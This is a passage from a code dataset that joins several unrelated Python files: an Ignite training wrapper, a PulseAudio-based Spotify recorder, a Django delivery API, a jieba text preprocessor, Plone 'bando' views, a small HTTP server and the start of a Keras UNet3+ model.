nn.Module]],\n ddp: Optional[bool] = False\n ):\n self.model = model\n self.optimizer = optimizer\n self.loss_fn = loss_fn\n self.ddp = ddp\n\n self.train_engine = Engine(self.train_step)\n self.val_engine = Engine(self.val_step)\n\n def _check_dataloader_config(self, config):\n keys = [\"batch_size\", \"shuffle\",\n \"sampler\", \"batch_sampler\", \"num_workers\", \n \"collate_fn\", \"pin_memory\", \"drop_last\"]\n\n if not isinstance(config, dict):\n raise TypeError(\"dataloader_config must be a dict, for example, \"\n \"`dataloader_config={'batch_size': int, 'num_workers': int, etc..}`\")\n\n for arg in config.keys():\n if arg not in keys:\n raise ValueError(\"got unexpected key for dataloader_config, \"\n f\"got {arg}, expected keys {keys}\")\n\n def _prepare_ddp(self):\n for key in self.__dict__.keys():\n attr = self.__dict__[key]\n # torch.nn.Module\n if isinstance(attr, nn.Module):\n # loss\n if attr.__module__.startswith('torch.nn.modules.loss'):\n self.__dict__[key] = self.__dict__[key].to(idist.device())\n # model\n else:\n self.__dict__[key] = idist.auto_model(self.__dict__[key])\n # torch.optim.Optimizer (optimizer)\n if isinstance(attr, Optimizer):\n self.__dict__[key] = idist.auto_optim(self.__dict__[key])\n\n def set_train_data(\n self, \n dataset: torch.utils.data.Dataset,\n batch_size: Optional[int] = 1,\n shuffle: Optional[bool] = False,\n sampler: Optional[torch.utils.data.Sampler] = None,\n batch_sampler: Optional[torch.utils.data.Sampler] = None,\n num_workers: Optional[int] = 0,\n collate_fn: Optional[Callable] = None,\n pin_memory: Optional[bool] = False,\n drop_last: Optional[bool] = False\n ):\n self.train_loader_config = {\n \"dataset\": dataset,\n \"batch_size\": batch_size,\n \"shuffle\": shuffle,\n \"sampler\": sampler,\n \"batch_sampler\": batch_sampler,\n \"num_workers\": num_workers,\n \"collate_fn\": collate_fn,\n \"pin_memory\": pin_memory,\n \"drop_last\": drop_last\n }\n\n def set_validation_data(\n self, \n dataset: torch.utils.data.Dataset,\n batch_size: Optional[int] = 1,\n shuffle: Optional[bool] = False,\n sampler: Optional[torch.utils.data.Sampler] = None,\n batch_sampler: Optional[torch.utils.data.Sampler] = None,\n num_workers: Optional[int] = 0,\n collate_fn: Optional[Callable] = None,\n pin_memory: Optional[bool] = False,\n drop_last: Optional[bool] = False\n ):\n self.validation_loader_config = {\n \"dataset\": dataset,\n \"batch_size\": batch_size,\n \"shuffle\": shuffle,\n \"sampler\": sampler,\n \"batch_sampler\": batch_sampler,\n \"num_workers\": num_workers,\n \"collate_fn\": collate_fn,\n \"pin_memory\": pin_memory,\n \"drop_last\": drop_last\n }\n\n def attach_train_on_event(self, handler, handler_event, *args, **kwargs):\n self.train_engine.add_event_handler(event_name=handler_event, handler=handler, *args, **kwargs)\n return self\n\n def attach_val_on_event(self, handler, handler_event, *args, **kwargs):\n self.val_engine.add_event_handler(event_name=handler_event, handler=handler, *args, **kwargs)\n return self\n\n def attach_train(self, handler, name):\n handler.attach(self.train_engine, name)\n return self\n\n def attach_validation(self, handler, name):\n handler.attach(self.val_engine, name)\n return self\n\n def train_step(self, engine: Engine, batch: Sequence[torch.Tensor]):\n self.model.train()\n self.optimizer.zero_grad()\n X, y = _prepare_batch(batch)\n X = X.to(idist.device())\n y = y.to(idist.device())\n y_pred = self.model(X)\n loss = self.loss_fn(y_pred, y)\n loss.backward()\n self.optimizer.step()\n return {\"prediction\": y_pred, \"target\": y, \"loss\": loss.item()}\n\n def val_step(self, engine: Engine, batch: Sequence[torch.Tensor]):\n self.model.eval()\n with torch.no_grad():\n X, y = _prepare_batch(batch)\n X = X.to(idist.device())\n y = y.to(idist.device())\n y_pred = self.model(X)\n loss = self.loss_fn(y_pred, y)\n return {\n 'prediction': y_pred,\n 'target': y,\n 'loss': loss.item()\n }\n\n def fit(\n self, \n num_epochs: int,\n validation: Optional[bool] = False,\n validate_every: Optional[int] = 1\n ):\n if 'train_loader_config' not in self.__dict__:\n raise ValueError(\"must set_train_data before calling fit\")\n\n if validation:\n if 'validation_loader_config' not in self.__dict__:\n raise ValueError(\"must set_validation_data before for validate\")\n dataset = self.validation_loader_config['dataset']\n del self.validation_loader_config['dataset']\n val_loader = torch.utils.data.DataLoader(dataset, **self.validation_loader_config)\n self.validation_loader_config['dataset'] = dataset\n\n def validation_epoch(engine):\n epoch = engine.state.epoch\n val_state = self.val_engine.run(val_loader, 1)\n print(val_state.metrics)\n\n self.train_engine.add_event_handler(Events.EPOCH_COMPLETED(every=validate_every), validation_epoch)\n\n dataset = self.train_loader_config['dataset']\n del self.train_loader_config['dataset']\n\n if self.ddp:\n train_loader = idist.auto_dataloader(dataset, **self.train_loader_config)\n self._prepare_ddp()\n else:\n train_loader = torch.utils.data.DataLoader(dataset, **self.train_loader_config)\n self.train_loader_config['dataset'] = dataset\n\n self.train_engine.run(train_loader, num_epochs)\n\n def validate(self):\n if 'validation_loader_config' not in self.__dict__:\n raise ValueError(\"must set_data before calling validate\")\n \n dataset = self.validation_loader_config[\"dataset\"]\n del self.validation_loader_config[\"dataset\"]\n val_loader = torch.utils.data.DataLoader(dataset, **self.dataloader_config)\n self.validation_loader_config['dataset'] = dataset\n\n self.val_engine.run(val_loader, 1)\n\n def predict(\n self,\n data: torch.Tensor\n ):\n self.model.eval()\n with torch.no_grad():\n prediction = self.model(data)\n return prediction\n","sub_path":"Approach8/Model.py","file_name":"Model.py","file_ext":"py","file_size_in_byte":7414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"471884868","text":"import subprocess, re, sys, os\nfrom time import sleep, time\n\nglobal parecProc, lameProc\nparecProc, lameProc = None, None\n\nglobal playingTime\nplayingTime = time()\n\ndef execute(cmd):\n\tsubp = subprocess.check_output([\"/bin/bash\", \"-c\", cmd]).decode(\"utf-8\")\n\treturn subp\n\ndef getCurrentlyPlaying():\n\twindowText = execute(\"wmctrl -l\")\n\tcurrentlyPlaying = re.search(r\"X200.*Spotify\", windowText)\n\n\tif (currentlyPlaying == None):\n\t\tprint(\"ERROR: Could not find chrome window with spotify tab!\")\n\t\tsys.exit(0)\n\n\tcurrentlyPlaying = currentlyPlaying.group()[5:-10]\n\treturn currentlyPlaying\n\ndef setUpPulse():\n\tprint(\"Setting up pulse audio!\")\n\tpOut = execute('pacmd list-sink-inputs')\n\tappIndeces = re.findall(r\"index: [0-9]*\", pOut)\n\tappNames = re.findall(r'application.process.binary = \".*\"', pOut)\n\n\tif (appIndeces == None):\n\t\tprint(\"ERROR: Could no create sink since no application is playing audio\")\n\t\tstopRecording()\n\t\tsys.exit(0)\n\n\tappIndeces = list(map(lambda x: x[7:], appIndeces))\n\tappNames = list(map(lambda x: x[30:-1], appNames))\n\tapps = list(zip(appIndeces, appNames))\n\tprint(apps)\n\tindex = None\n\tfor x in apps:\n\t\tif (x[1] == 'chrome'):\n\t\t\tprint('Using index', x[0])\n\t\t\tindex = x[0]\n\t\t\tbreak\n\t\n\tprint(execute('pactl load-module module-null-sink sink_name=spotgrab'))\n\tprint(execute('pactl move-sink-input ' + index + ' spotgrab'))\n\ndef startRecording(title):\n\tglobal parecProc, lameProc, playingTime\n\t#proccess title\n\t#remove unallowed chars #todo: find better way for doing this\n\tkillchars = ['?', '!', '/', '\\\\', ':', '*', '|', '\\\"', '<', '>', ',']\n\tfor kc in killchars:\n\t\ttitle = title.replace(kc, \"\")\n\t#limit length\n\ttitle = title[:255] if len(title) > 255 else title\n\tprint(\"Recording:\", title)\n\tparecProc = subprocess.Popen([\"parec\", \"--format=s16le\", \"-d\", \"spotgrab.monitor\"], stdout = subprocess.PIPE)\n\tlameProc = subprocess.Popen([\"lame\", \"-r\", \"--quiet\", \"-q\", \"3\", \"--lowpass\", \"17\", \"--abr\", \"192\", \"-\", \n\t\t\t\t\t\t\t\t\ttitle + \".mp3\"], stdin = parecProc.stdout)\n\tplayingTime = time() #reset time\n\ndef stopRecording():\n\tglobal parecProc, lameProc, playingTime\n\tif (parecProc != None):\n\t\tparecProc.terminate()\n\tif (lameProc != None):\n\t\tlameProc.terminate()\n\n\t#print song length\n\ttotalSongTime = time() - playingTime\n\tprint(\"finished in\", int(totalSongTime / 60), \"min\", int(totalSongTime % 60), \"sec\")\n\n\nsetUpPulse()\n\n#main code\nglobal currentSong\ncurrentSong = \"\"\ndef main():\n\tcps = \"\"\n\ttry:\n\t\tcps = getCurrentlyPlaying()\n\texcept Exception as e: #sometime (though rarley) wmctrl fails, ignore\n\t\tprint(\"hicup\")\n\t\treturn\n\tif (u\"\\u25B6\" not in cps): #ignore phase of transition between songs (title does not contain play symbole)\n\t\treturn\n\tcps = cps[2:] #play symbole exists so remove it + leading whitespace\n\tglobal currentSong\n\tif (currentSong != cps):\n\t\tcurrentSong = cps\n\t\tstopRecording()\n\t\tstartRecording(cps)\n\n\n#check for title changes every second\n#sleep is non cpu intesive on linux // main thread won't even get scheduled\n\n#kill self if current song has been recording for longer than 10min\n# =>something went wrong\nwhile(playingTime + 600 > time()):\n\tsleep(0.15) #in seconds\n\tmain()\nstopRecording()\nprint(\"Terminating...\")\n","sub_path":"recorder.py","file_name":"recorder.py","file_ext":"py","file_size_in_byte":3145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"431653516","text":"from django.core.exceptions import ObjectDoesNotExist\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework.exceptions import NotFound\n\n# from .serializers import (PointDeliverySerializer,\n# CurierDeliverySerializer)\n\n# from delivery.models import Delivery\nfrom kladr.models import Kladr\nfrom .controller import (DeliveryController,\n MultiDeliveryController)\n\n\nclass OneProductDeliveryAPIView(APIView):\n\n def post(self, request):\n try:\n kladr_code = request.data['kladr']\n except KeyError:\n return Response(status=400, data=\"required kladr field\")\n\n try:\n product = request.data['product']\n except KeyError:\n return Response(status=400, data=\"required product field\")\n\n if not(isinstance(kladr_code, str) and isinstance(product, dict)):\n return Response(status=400, data=\"Invalid data type kladr or product\")\n\n if (frozenset(('product_type', 'price', 'purchase_price', 'vendor')).issubset(product.keys()) and\n product['product_type'] != ''):\n try:\n d_ctrl = DeliveryController(kladr=kladr_code, **product)\n return Response(d_ctrl.get_devivery_data())\n except (TypeError, ValueError) as ex:\n return Response(status=400, data=\"Invalid parametrs\")\n else:\n return Response({})\n\n\nclass ManyProductsDeliveryAPIView(APIView):\n\n def post(self, request):\n print(request)\n print(request.data)\n try:\n kladr_code = request.data['kladr']\n except KeyError:\n return Response(status=400, data=\"required kladr field\")\n\n try:\n products = request.data['products']\n except KeyError:\n return Response(status=400, data=\"required products field\")\n\n if not(isinstance(kladr_code, str) and\n (isinstance(products, list) or isinstance(products, tuple))):\n return Response(status=400, data=\"Invalid data type kladr or products\")\n\n if all((isinstance(product, dict) and\n frozenset(('product_type', 'price', 'purchase_price', 'vendor')).issubset(product.keys()) and\n product['product_type'] != '' for product in products)):\n # try:\n d_ctrl = MultiDeliveryController(kladr=kladr_code, products=products)\n return Response(d_ctrl.get_devivery_data())\n # except (TypeError, ValueError) as ex:\n # return Response(status=400, data=\"Invalid parametrs\")\n else:\n return Response({})\n","sub_path":"geo/backend/api/delivery/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"599279861","text":"a=list(map(str,input().split()))\n#making list\nb=[a[0]]\nfor i in range(len(a)):\n for j in range(1,len(a)):\n if b[i][-1]==a[j][0]:\n b.append(a[j])\n a.remove(a[j])\n break\nprint(b)","sub_path":"problem 1.py","file_name":"problem 1.py","file_ext":"py","file_size_in_byte":219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"463091565","text":"# -*- coding: utf-8 -*-\n# http://google-styleguide.googlecode.com/svn/trunk/pyguide.html\n\nfrom smsgw.resources import patterns\n\nschema = {\n \"description\": \"Schema for the application POST endpoint\",\n \"type\": \"object\",\n \"method\": \"POST\",\n \"required\": [\"label\"],\n \"additionalProperties\": False,\n \"properties\": {\n \"label\": {\n \"type\": \"string\",\n \"minLength\": 3,\n \"maxLength\": 32,\n \"messages\": {\n \"type\": \"Label needs to be string type\",\n \"minLength\": \"Min length of label is 2 characters.\",\n \"maxLength\": \"Max length of label is 32 characters.\"\n }\n },\n \"prefix\": {\n \"type\": \"string\",\n \"minLength\": 2,\n \"maxLength\": 5,\n \"messages\": {\n \"minLength\": \"Min length of prefix is 2 characters.\",\n \"maxLength\": \"Max length of prefix is 5 characters.\"\n }\n },\n \"callbackUrl\": {\n \"type\": [\"string\", \"null\"],\n \"maxLanegth\": 128,\n \"pattern\": \"^(%s)?$\" % patterns.URL,\n \"messages\": {\n \"pattern\": \"Callback url should be valid URL.\",\n \"maxLength\": \"Max length of callback url is 128 characters.\"\n }\n },\n \"note\": {\n \"type\": [\"string\", \"null\"],\n \"maxLength\": 255,\n \"messages\": {\n \"maxLength\": \"Max length of note is 255 characters.\"\n }\n }\n }\n}\n","sub_path":"smsgw/resources/applications/schemas/post.py","file_name":"post.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"160657407","text":"import imports\n\n\ndef minimum_window_sort(nums):\n low, high = 0, len(nums)-1\n\n while low < len(nums)-1 and nums[low] < nums[low+1]:\n low += 1\n\n while high > 0 and nums[high] > nums[high-1]:\n high -= 1\n\n\n subarray_min = imports.inf\n subarray_max = -imports.inf\n\n for k in range(low, high):\n subarray_min = min(subarray_min, nums[k])\n subarray_max = max(subarray_max, nums[k])\n\n while low > 0 and nums[low-1]>subarray_min:\n low -= 1\n\n while high < len(nums)-1 and nums[high+1] < subarray_max:\n high += 1\n\n return high - low + 1\n","sub_path":"revise-daily/arjuna-vishwamitra-abhimanyu/educative/2-two-pointers/9_minimum_window_sort.py","file_name":"9_minimum_window_sort.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"462569298","text":"#/usr/bin/env python\n#-*-coding:utf-8-*-\n\n\n\"\"\"\n完成分词,词性标注,实体替换,去掉停用词等\n\"\"\"\n\nimport jieba\nfrom jieba import posseg\n\nimport re\nimport codecs\n\nPATTERN_MAPPRING={\n u\"\\*\":\"\",\n u\"蚂蚁花呗\":u\"花呗\",\n u\"蚂蚁借呗\":u\"借呗\",\n}\n\ndef load_stop_words(file_path):\n stop_words = set()\n with codecs.open(file_path, encoding=\"utf-8\") as f:\n for i, line in enumerate(f):\n line = line.strip(\"\\n\").strip()\n if not line:\n continue\n stop_words.add(line)\n return list(stop_words)\n\nclass PreResult(object):\n def __init__(self,raw_text, raw_words, clean_text, clean_words, tag_words):\n self.raw_words = raw_words\n self.raw_text = raw_text\n self.clean_text = clean_text\n self.clean_words = clean_words\n self.tag_words = tag_words\n\n\nclass PapreProcessor(object):\n def __init__(self, user_dict, stop_words_dict=None):\n self.user_dict = user_dict\n self.stop_words = []\n self.tag_list = [\"n\", \"v\", 'a']\n jieba.load_userdict(user_dict)\n if stop_words_dict:\n self.stop_words = load_stop_words(stop_words_dict)\n\n def cut_text(self,text):\n words = list(jieba.cut(text))\n return words\n\n def _delete_stopwords(self, words):\n words = [w for w in words if w not in self.stop_words]\n return words\n\n def _replace_pattern(self, text):\n for k, v in PATTERN_MAPPRING.items():\n text = re.sub(re.compile(k), v, text)\n return text\n\n def _pos_tag(self, text):\n tag_res = list(posseg.cut(text))\n return tag_res\n\n def filter_by_tag(self, text):\n tag_result = self._pos_tag(text)\n words = [item.word for item in tag_result if item.flag in self.tag_list]\n return words\n\n def clean_text(self, text):\n text = self._replace_pattern(text)\n return text\n\n def process(self, text):\n clean_text = self.clean_text(text)\n words = self.cut_text(text)\n clean_words = self.cut_text(clean_text)\n clean_words = self._delete_stopwords(clean_words)\n tag_words = self.filter_by_tag(clean_text)\n result = PreResult(text, words, clean_text, clean_words, tag_words)\n return result\n\n\n\nif __name__ == '__main__':\n processor =PapreProcessor(\"../data/user_dict\", \"../data/stopwords.txt\")\n source_file = \"../data/all_sent.txt\"\n seg_outf = open(\"../data/seg_result.txt\", 'w')\n with open(source_file) as f:\n for _, line in enumerate(f):\n line = line.strip(\"\\n\").strip()\n result = processor.process(line)\n print(result.clean_text)\n print(result.raw_words)\n print(result.clean_words)\n print(result.tag_words)\n input()\n","sub_path":"fool/papre_process.py","file_name":"papre_process.py","file_ext":"py","file_size_in_byte":2816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"63282543","text":"import argparse\nimport daemon\nimport daemon.pidfile\nimport http.server\nimport json\nimport logging\nimport os\nimport pkg_resources\nimport socketserver\n\nCONFIG = {}\n\n\nclass RequestHandler(http.server.SimpleHTTPRequestHandler):\n def do_GET(self):\n if self.path.endswith('ptg.json'):\n with open(CONFIG['db_filename'], 'rb') as fp:\n self.send_response(200)\n self.send_header('Content-type', 'application/json')\n self.end_headers()\n self.wfile.write(fp.read())\n else:\n http.server.SimpleHTTPRequestHandler.do_GET(self)\n\n def log_message(self, format, *args):\n logging.debug(\"%s - - [%s] %s\" % (self.address_string(),\n self.log_date_time_string(),\n format % args))\n\n\ndef start():\n os.chdir(CONFIG['source_dir'])\n with socketserver.TCPServer((\"\", CONFIG['port']), RequestHandler) as httpd:\n httpd.serve_forever()\n\n\ndef main():\n global CONFIG\n parser = argparse.ArgumentParser(description='PTG web')\n parser.add_argument('configfile', help='config file')\n parser.add_argument('-d', dest='nodaemon', action='store_true',\n help='do not run as daemon')\n parser.add_argument('-p', '--port', dest='port', help='Port to listen on',\n default=8000)\n parser.add_argument('--debug', dest='debug', action='store_true')\n args = parser.parse_args()\n\n CONFIG['debug'] = True if args.debug else False\n CONFIG['port'] = int(args.port)\n\n with open(args.configfile, 'r') as fp:\n file_config = json.load(fp)\n CONFIG['db_filename'] = file_config['db_filename']\n\n CONFIG['source_dir'] = pkg_resources.resource_filename(__name__, \"html\")\n\n logging.basicConfig(level=logging.DEBUG if args.debug else logging.INFO)\n logging.info('Starting daemon on port: %s' % args.port)\n logging.info('Serving files from: %s' % CONFIG['source_dir'])\n logging.info('JSON from: %s' % CONFIG['db_filename'])\n logging.debug('Debugging on')\n\n if not args.nodaemon:\n os.makedirs('/var/run/ptgbot', exist_ok=True)\n pid = daemon.pidfile.TimeoutPIDLockFile(\n '/var/run/ptgbot/ptgbot-web.pid', 10)\n with daemon.DaemonContext(pidfile=pid):\n start()\n start()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"ptgbot/web.py","file_name":"web.py","file_ext":"py","file_size_in_byte":2399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"241709827","text":"# -*- coding: utf-8 -*-\nfrom datetime import datetime\nfrom plone import api\nfrom plone.dexterity.browser import add\nfrom plone.dexterity.browser import edit\nfrom Products.Five import BrowserView\nfrom redturtle.bandi import bandiMessageFactory as _\nfrom redturtle.bandi.interfaces import IBandoFolderDeepening\nfrom z3c.form import field\nfrom zope.component import getMultiAdapter\nfrom zope.component import getUtility\nfrom zope.i18n import translate\nfrom zope.interface import implementer\nfrom zope.interface import Interface\nfrom zope.schema.interfaces import IVocabularyFactory\n\n\ntry:\n from plone.restapi.serializer.utils import uid_to_url\n\n HAS_PLONERESTAPI = True\nexcept ImportError:\n HAS_PLONERESTAPI = False\n\n\nclass AddForm(add.DefaultAddForm):\n def updateWidgets(self):\n add.DefaultAddForm.updateWidgets(self)\n\n for group in self.groups:\n if group.label == \"Settings\":\n manager = field.Fields(group.fields)\n group.fields = manager.select(\n \"IShortName.id\",\n \"IAllowDiscussion.allow_discussion\",\n \"IExcludeFromNavigation.exclude_from_nav\",\n \"ITableOfContents.table_of_contents\",\n )\n\n\nclass AddView(add.DefaultAddView):\n form = AddForm\n\n\nclass EditForm(edit.DefaultEditForm):\n def updateWidgets(self):\n edit.DefaultEditForm.updateWidgets(self)\n\n for group in self.groups:\n if group.label == \"Settings\":\n manager = field.Fields(group.fields)\n group.fields = manager.select(\n \"IShortName.id\",\n \"IAllowDiscussion.allow_discussion\",\n \"IExcludeFromNavigation.exclude_from_nav\",\n \"ITableOfContents.table_of_contents\",\n )\n\n\nclass EditView(edit.DefaultEditView):\n form = EditForm\n\n\nclass IBandoView(Interface):\n pass\n\n\n@implementer(IBandoView)\nclass BandoView(BrowserView):\n def __init__(self, context, request):\n self.context = context\n self.request = request\n self.voc_tipologia = getUtility(\n IVocabularyFactory, name=\"redturtle.bandi.tipologia.vocabulary\"\n )(self.context)\n\n def retrieveFolderDeepening(self):\n \"\"\"Retrieves all Folder Deppening objects contained in Structured Document\"\"\"\n struct_doc = self.context\n values = []\n dfolders = struct_doc.getFolderContents(\n contentFilter={\"object_provides\": IBandoFolderDeepening.__identifier__}\n )\n for df in dfolders:\n if not df.exclude_from_nav:\n values.append(\n dict(\n title=df.Title,\n description=df.Description,\n url=df.getURL(),\n path=df.getPath(),\n )\n )\n return values\n\n def retrieveContentsOfFolderDeepening(self, path_dfolder):\n \"\"\"Retrieves all objects contained in Folder Deppening\"\"\"\n\n values = []\n brains = self.context.portal_catalog(\n path={\"query\": path_dfolder, \"depth\": 1},\n sort_on=\"getObjPositionInParent\",\n )\n siteid = api.portal.get().getId()\n for brain in brains:\n if not brain.getPath() == path_dfolder and not brain.exclude_from_nav:\n dictfields = dict(\n title=brain.Title,\n description=brain.Description,\n url=brain.getURL(),\n path=brain.getPath(),\n )\n if brain.Type == \"Link\":\n dictfields[\"url\"] = brain.getRemoteUrl\n # resolve /resolveuid/... to url\n # XXX: ma qui non funziona perchè il path è /Plone/resolveuid/...\n # mentre la regex di uid_to_url si aspetta /resolveuid/... o\n # ../resolveuid/...\n # dictfields[\"url\"] = uid_to_url(dictfields[\"url\"])\n # XXX: bug di Link ? in remoteUrl per i link interni nei brain\n # c'è il path completo (con /Plone) invece che una url\n # probabilmente legato al fatto che i link ora sono creati via\n # api e non da interfaccia Plone (?)\n if dictfields[\"url\"].startswith(f\"/{siteid}\"):\n dictfields[\"url\"] = dictfields[\"url\"][len(siteid) + 1 :]\n if HAS_PLONERESTAPI:\n dictfields[\"url\"] = uid_to_url(dictfields[\"url\"])\n elif brain.Type == \"File\":\n obj_file = brain.getObject().file\n if obj_file:\n dictfields[\n \"url\"\n ] = f\"{brain.getURL()}/@@download/file/{obj_file.filename}\" # noqa E501\n obj_size = obj_file.size\n dictfields[\"filesize\"] = self.getSizeString(obj_size)\n # else:\n # dictfields[\"url\"] = brain.getURL() + \"/view\"\n dictfields[\"content-type\"] = brain.mime_type\n # icon = getMultiAdapter((self.context, self.request, obj), IContentIcon)\n # dictfields['icon'] = icon.html_tag()\n dictfields[\"type\"] = brain.Type\n values.append(dictfields)\n\n return values\n\n def getSizeString(self, size):\n const = {\"kB\": 1024, \"MB\": 1024 * 1024, \"GB\": 1024 * 1024 * 1024}\n order = (\"GB\", \"MB\", \"kB\")\n smaller = order[-1]\n if not size:\n return \"0 %s\" % smaller\n\n if size < const[smaller]:\n return \"1 %s\" % smaller\n for c in order:\n if int(size / const[c]) > 0:\n break\n return \"%.2f %s\" % (float(size / float(const[c])), c)\n\n def getDestinatariNames(self):\n \"\"\"\n Return the values of destinatari vocabulary\n \"\"\"\n dest_utility = getUtility(\n IVocabularyFactory, \"redturtle.bandi.destinatari.vocabulary\"\n )\n destinatari = self.context.destinatari\n if not dest_utility:\n return destinatari\n dest_values = []\n dest_vocab = dest_utility(self.context)\n for dest in destinatari:\n try:\n dest_title = dest_vocab.getTerm(dest).title\n except LookupError:\n dest_title = dest\n dest_values.append(dest_title)\n return dest_values\n\n def getEffectiveDate(self):\n \"\"\"\n Return effectiveDate\n \"\"\"\n plone = getMultiAdapter((self.context, self.request), name=\"plone\")\n # da sistemare meglio questa parte\n # restituisce la prima data possibile quando questa non è presente\n time = self.context.effective()\n\n # controllo che EffectiveDate torni il valore stringa None, se cosi significa che non e stata settata la data di pubblicazione\n # se cosi allora torna None\n if self.context.EffectiveDate() == \"None\":\n return None\n else:\n return plone.toLocalizedTime(time)\n\n def getDeadLinePartecipationDate(self):\n \"\"\"\n Return deadline partecipation date\n \"\"\"\n date = self.context.scadenza_bando\n long_format = date.strftime(\"%H:%M:%S\") != \"00:00:00\"\n return api.portal.get_localized_time(datetime=date, long_format=long_format)\n\n def getOpenDate(self):\n \"\"\"\n Return deadline partecipation date\n \"\"\"\n date = self.context.apertura_bando\n long_format = date.strftime(\"%H:%M:%S\") != \"00:00:00\"\n return api.portal.get_localized_time(datetime=date, long_format=long_format)\n\n def getAnnouncementCloseDate(self):\n \"\"\"\n Return Annoucement close date\n \"\"\"\n time = self.context.chiusura_procedimento_bando\n return time.strftime(\"%d/%m/%Y\")\n\n def getBandoState(self):\n \"\"\"\n return right bando state\n \"\"\"\n apertura_bando = getattr(self.context, \"apertura_bando\", None)\n scadenza_bando = getattr(self.context, \"scadenza_bando\", None)\n chiusura_procedimento_bando = getattr(\n self.context, \"chiusura_procedimento_bando\", None\n )\n\n if apertura_bando:\n apertura_tz = getattr(apertura_bando, \"tzinfo\", None)\n if apertura_bando > datetime.now(apertura_tz):\n return (\"scheduled\", translate(_(\"Scheduled\"), context=self.request))\n state = (\"open\", translate(_(\"Open\"), context=self.request))\n if not scadenza_bando and not chiusura_procedimento_bando:\n return state\n scadenza_tz = getattr(scadenza_bando, \"tzinfo\", None)\n if scadenza_bando and scadenza_bando < datetime.now(scadenza_tz):\n if chiusura_procedimento_bando and (\n chiusura_procedimento_bando < datetime.now().date()\n ):\n state = (\n \"closed\",\n translate(_(\"Closed\"), context=self.request),\n )\n else:\n state = (\n \"inProgress\",\n translate(_(\"In progress\"), context=self.request),\n )\n elif chiusura_procedimento_bando and (\n chiusura_procedimento_bando < datetime.now().date()\n ):\n state = (\"closed\", translate(_(\"Closed\"), context=self.request))\n return state\n","sub_path":"redturtle/bandi/browser/bando.py","file_name":"bando.py","file_ext":"py","file_size_in_byte":9506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"91856158","text":"'''\n33. サ変名詞\nサ変接続の名詞をすべて抽出せよ.\n'''\nfrom knock30 import get_morpheme_list\n\nsa_nouns = []\nfor sentence in get_morpheme_list(\"neko.txt.mecab\"):\n for morpheme in sentence:\n if morpheme['pos1'] == 'サ変接続':\n sa_nouns.append(morpheme['surface'])\n\nprint(sa_nouns[:10])","sub_path":"yoshimura/chapter04/knock33.py","file_name":"knock33.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"362999085","text":"from __future__ import absolute_import\n\nimport tensorflow as tf\nimport tensorflow.keras.layers as layers\nfrom tensorflow.keras.layers import ReLU, LeakyReLU, PReLU, ELU\nimport tensorflow.keras.models as models\nimport tensorflow.keras.activations as activations\nimport tensorflow.keras.metrics as metrics\n\n\n# Defining the encoder's down-sampling blocks.\ndef encoder_block(inputs, n_filters, kernel_size, strides, activation):\n encoder = layers.Conv2D(filters=n_filters,\n kernel_size=kernel_size,\n strides=strides,\n padding='same',\n use_bias=False)(inputs)\n encoder = layers.BatchNormalization()(encoder)\n encoder = layers.Activation(activation)(encoder)\n encoder = layers.Conv2D(filters=n_filters,\n kernel_size=kernel_size,\n padding='same',\n use_bias=False)(encoder)\n encoder = layers.BatchNormalization()(encoder)\n encoder = layers.Activation(activation)(encoder)\n return encoder\n\n\n# Defining the decoder's up-sampling blocks.\ndef upscale_blocks(inputs, n_filters, activation):\n n_upscales = len(inputs)\n upscale_layers = []\n\n for i, inp in enumerate(inputs):\n p = n_upscales - i\n u = layers.Conv2DTranspose(filters=n_filters,\n kernel_size=3,\n strides=2**p,\n padding='same')(inp)\n\n for i in range(2):\n u = layers.Conv2D(filters=n_filters,\n kernel_size=3,\n padding='same',\n use_bias=False)(u)\n u = layers.BatchNormalization()(u)\n u = layers.Activation(activation)(u)\n u = layers.Dropout(rate=0.4)(u)\n\n upscale_layers.append(u)\n return upscale_layers\n\n\n# Defining the decoder's whole blocks.\ndef decoder_block(layers_to_upscale, inputs, n_filters, activation):\n upscaled_layers = upscale_blocks(layers_to_upscale, n_filters, activation)\n\n decoder_blocks = []\n\n for i, inp in enumerate(inputs):\n d = layers.Conv2D(filters=n_filters,\n kernel_size=3,\n strides=2**i,\n padding='same',\n use_bias=False)(inp)\n d = layers.BatchNormalization()(d)\n d = layers.Activation(activation)(d)\n d = layers.Conv2D(filters=n_filters,\n kernel_size=3,\n padding='same',\n use_bias=False)(d)\n d = layers.BatchNormalization()(d)\n d = layers.Activation(activation)(d)\n\n decoder_blocks.append(d)\n\n decoder = layers.concatenate(upscaled_layers + decoder_blocks)\n decoder = layers.Conv2D(filters=n_filters*4,\n kernel_size=3,\n strides=1,\n padding='same',\n use_bias=False)(decoder)\n decoder = layers.BatchNormalization()(decoder)\n decoder = layers.Activation(activation)(decoder)\n decoder = layers.Dropout(rate=0.4)(decoder)\n\n return decoder\n\n\ndef unet3_plus_2d(input_size,\n filter_num,\n up_filters,\n n_labels,\n activation='ReLU',\n output_activation='sigmoid'):\n inputs = layers.Input(input_size)\n\n X = inputs\n X = encoder_block(X, n_filters=filter_num[0], kernel_size=3, strides=1, activation=activation)\n\n X_list = [X]\n for i, f in enumerate(filter_num[1:]) :\n X = encoder_block(X, n_filters=f, kernel_size=3, strides=2, activation=activation)\n X_list.append(X)\n\n Y_list = []\n for i in range(len(X_list)-1) :\n l2u = [X_list[-1]] + Y_list\n inp = X_list[::-1][i+1:]\n X = decoder_block(layers_to_upscale=l2u, 